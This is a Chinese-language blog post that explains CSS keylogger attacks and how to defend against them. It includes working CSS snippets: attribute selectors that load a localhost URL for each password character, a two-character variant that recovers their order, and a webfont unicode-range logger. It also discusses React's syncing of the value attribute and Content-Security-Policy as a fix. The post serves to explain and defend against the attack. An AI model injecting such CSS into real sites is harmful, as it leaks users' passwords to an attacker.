CSS keylogger:攻击与防御

2,981 阅读8分钟

前言

前阵子在 Hacker News 上面看到这篇:Show HN: A CSS Keylogger,大开眼界,决定要找个时间好好来研究一下,并且写一篇文章分享给大家。

这篇会讲到以下东西:

  1. 什麽是 keylogger
  2. CSS keylogger 的原理
  3. CSS keylogger 与 React
  4. 防御方法

好,那就让我们开始吧!

Keylogger 是什麽?

Keylogger 就是键盘侧录,是恶意程式的一种,拿来记录你电脑上面所有按过的按键。还记得我小时候曾经用 VB6 写了一个超简单的 keylogger,只要呼叫系统提供的 API 并且记录相对应的按键就好。

在电脑上面被装这个的话,就等于你输入的任何东西都被记录起来。当然,也包含了帐号跟密码。不过如果我没记错,防毒软体的行为侦测应该可以把这些都挡掉,所以也不用太过担心。

刚刚讲的是在电脑上面,现在我们把范围缩小,侷限在网页。

如果你要在页面上加一个 keylogger,通常会利用 JavaScript 来达成,而且程式码超级简单:

document.addEventListener('keydown', e => {
  console.log(e.key)
})

只要侦测keydown事件并且抓出按下的 key 就行了。

不过假如你有能力在你想入侵的网页上面加入 JavaScript 的话,通常也不需要这麽麻烦去记录每个按键,你直接把 Cookie 偷走、窜改页面、导到钓鱼页面,或者是在 submit 的时候把帐号密码回传给自己的 Server 就好,所以 keylogger 显得不是那麽有用。

好,那假设我们现在没办法插入恶意的 JavaScript,只能改 CSS,有办法用纯 CSS 做出一个 keylogger 吗?

有,毕竟 CSS 能做的事情可多了

纯 CSS keylogger 的原理

直接看程式码你就懂了(取自:maxchehab/CSS-Keylogging):

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

神奇吧!

如果你不熟悉 CSS selector,这边帮你複习一下。上面那段意思就是说如果 type 是 password 的 input,value 以 a 结尾的话,背景图就载入http://localhost:3000/a

现在我们可以把这串 CSS 改一下,新增大小写英文字母、数字甚至是特殊符号,接着会发生什麽事呢?

如果我输入 abc123,浏览器就会发送 Request 到:

  1. http://localhost:3000/a
  2. http://localhost:3000/b
  3. http://localhost:3000/c
  4. http://localhost:3000/1
  5. http://localhost:3000/2
  6. http://localhost:3000/3

就这样,你的密码就完全被攻击者给掌握了。

这就是 CSS keylogger 的原理,利用 CSS Selector 搭配载入不同的网址,就能够把密码的每一个字元发送到 Server 去。

看起来很可怕对吧,别怕,其实没那麽容易。

CSS keylogger 的限制

不能保证顺序

虽然你输入的时候是按照顺序输入的,但 Request 抵达后端的时候并不能保证顺序,所以有时候顺序会乱掉。例如说 abc123 变成 bca213 之类的。

但如果我们把 CSS Selector 改一下的话,其实就能解决这个问题:

input[value^="a"] {
  background-image: url("http://localhost:3000/a_");
}
  
input[value*="aa"] {
  background-image: url("http://localhost:3000/aa");
}
  
input[value*="ab"] {
  background-image: url("http://localhost:3000/ab");
}

如果开头是 a,我们就送出a_,接着针对 26 个字母跟数字的排列组合每两个字元送出一个 request,例如说:abc123,就会是:

  1. a_
  2. ab
  3. bc
  4. c1
  5. 12
  6. 23

就算顺序乱掉,透过这种关係你把字母重新组合起来,还是可以得到正确的密码顺序。

重複字元不会送出 Request

因为载入的网址一样,所以重複的字元就不会再载入图片,不会发送新的 Request。这个问题目前据我所知应该是解不掉。

在输入的时候,其实 value 不会变

这个其实是 CSS Keylogger 最大的问题。

当你在 input 输入资讯的时候,其实 input 的 value 是不会变的,所以上面讲的那些完全不管用。你可以自己试试看就知道了,input 的内容会变,但是你用 dev tool 看的话,会发现 value 完全不会变。

针对这个问题,有两个解决方案,第一个是利用 Webfont:

<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log

(程式码取自:Keylogger using webfont with single character unicode-range

value 不会跟着变又怎样,字体总会用到了吧!只要每打一个字,就会送出相对应的 Request。

但这个方法的侷限有两个:

  1. 没办法保证顺序,一样也没办法解决重複字元的问题
  2. 如果栏位是<input type='password' />,就没有用

(在研究第二个侷限的时候发现一件有趣的事,由于 Chrome 跟 Firefox 会把「页面上有 type 是 password 的 input,但是又没用 HTTPS」的网站标示为不安全,所以有人研究出用普通 input 搭配特殊字体来躲过这个侦测,并且让输入框看起来像是 password(但其实 type 不是 password),在这种情形下就可以用 Webfont 来攻击了)

再来我们看第二种解决方案,刚刚有说到这个问题的症结点在于 value 不会变,换句话说,如果你 input 输入值的时候,value 会跟着变的话,这个攻击手法就很用了。

嗯...有没有一种很熟悉的感觉。

class NameForm extends React.Component {
  constructor(props) {
    super(props);
    this.state = {value: ''};
  
    this.handleChange = this.handleChange.bind(this);
  }
  
  handleChange(event) {
    this.setState({value: event.target.value});
  }
  
  render() {
    return (
      <form>
        <label>
          Name:
          <input type="text" value={this.state.value} onChange={this.handleChange} />
        </label>
      </form>
    );
  }
}

(以上程式码改写自React 官网

如果你用过 React 的话,应该会很熟悉这个模式。你在输入任何东西的时候,会先改变 state,再把 state 的值对应到 input 的 value 去。因此你输入什麽,value 就会是什麽。

React 是超夯的前端 Library,可以想像有一大堆网页都是用 React 做的,而且只要是 React,几乎就能保证 input 的 value 一定会同步更新(几乎啦,但应该还是有少数没有遵循这个规则)。

在这边先做个总结,只要你 input 的 value 会对应到裡面的值(假如你用 React,几乎一定会这样写),并且有地方可以让别人塞入自订的 CSS 的话,就能成功实作出 CSS Keylogger。虽然有些缺陷(没办法侦测重複字元),但概念上是可行的,只是精准度没那麽高。

React 的回应

React 的社群也有针对这一个问题进行讨论,都在 Stop syncing value attribute for controlled inputs #11896 这个 Issue 裡。

事实上,让 input 的 value 跟输入的值同步这件事情一直都会有一些 bug,以前甚至发生了知名流量分析网站 Mixpanel 不小心记录敏感资讯的事件,而最根本的原因就是因为 React 会一直同步更新 value。

Issue 的讨论满值得一看的,裡面有提到大家常搞溷的一件事情:Input 的 attributes 跟 properties。我找到 Stackover flow 上面一篇不错的解释:What is the difference between properties and attributes in HTML?

attributes 基本上就是你 HTML 上面的那个东西,而 properties 代表的是实际的 value,两个不一定会相等,举例来说:

<input id="the-input" type="text" value="Name:">

假如你今天抓这个 input 的 attribute,你会得到Name:,但如果你今天抓 input 的 value,你会得到目前在输入框裡面的值。所以其实这个 attribute 就跟我们常用的 defaultValue 是一样的意思,就是预设值。

不过在 React 裡面,他会把 attribute 跟 value 同步,所以你 value 是什麽,attribute 就会是什麽。

从讨论看起来,在 React 17 满有机会把这个机制拿掉,让这两者不再同步。

防御方法

上面讲了这麽多,因为现今 React 还没把这个改掉,所以问题还是存在着。而且其实除了 React,也可能有别的 Library 做了差不多的事情。

Client 端的防御方法我就不提了,基本就是装一些别人写好的 Chrome Extension,可以帮你侦测符合模式的 CSS 之类的,这边比较值得提的是 Server 端的防御。

目前看起来最一劳永逸的解决方案就是 Content-Security-Policy,简而言之它是一个 HTTP Response 的 header,用来决定浏览器可以载入哪些资源,例如说禁止 inline 程式码、只能载入同个 domain 下的资源之类的。

这个 Header 的初衷就是为了防止 XSS 以及攻击者载入外部的恶意程式码(例如说我们这个 CSS keylogger)。想知道更详细的用法可以参考这篇:Content-Security-Policy - HTTP Headers 的资安议题 (2)

总结

不得不说,这个手法真的很有趣!之前第一次看到的时候也惊叹了好一阵子,居然能发现这样子的纯 CSS Keylogger。虽然技术上是可行的,但在实作上还是会碰到许多困难之处,而且要符合满多前提才能做这样子的攻击,不过还是很值得关注后续的发展。

总之呢,这篇文就是想介绍这个东西给读者们,希望大家有所收穫。

参考资料

  1. Keylogger using webfont with single character unicode-range #24
  2. Stop syncing value attribute for controlled inputs #11896
  3. maxchehab/CSS-Keylogging
  4. Content-Security-Policy - HTTP Headers 的资安议题 (2)
  5. Stealing Data With CSS: Attack and Defense
  6. Bypassing Browser Security Warnings with Pseudo Password Fields
  7. CSS Keylogger (and why you shouldn’t worry about it)
  8. Mixpanel JS library has been harvesting passwords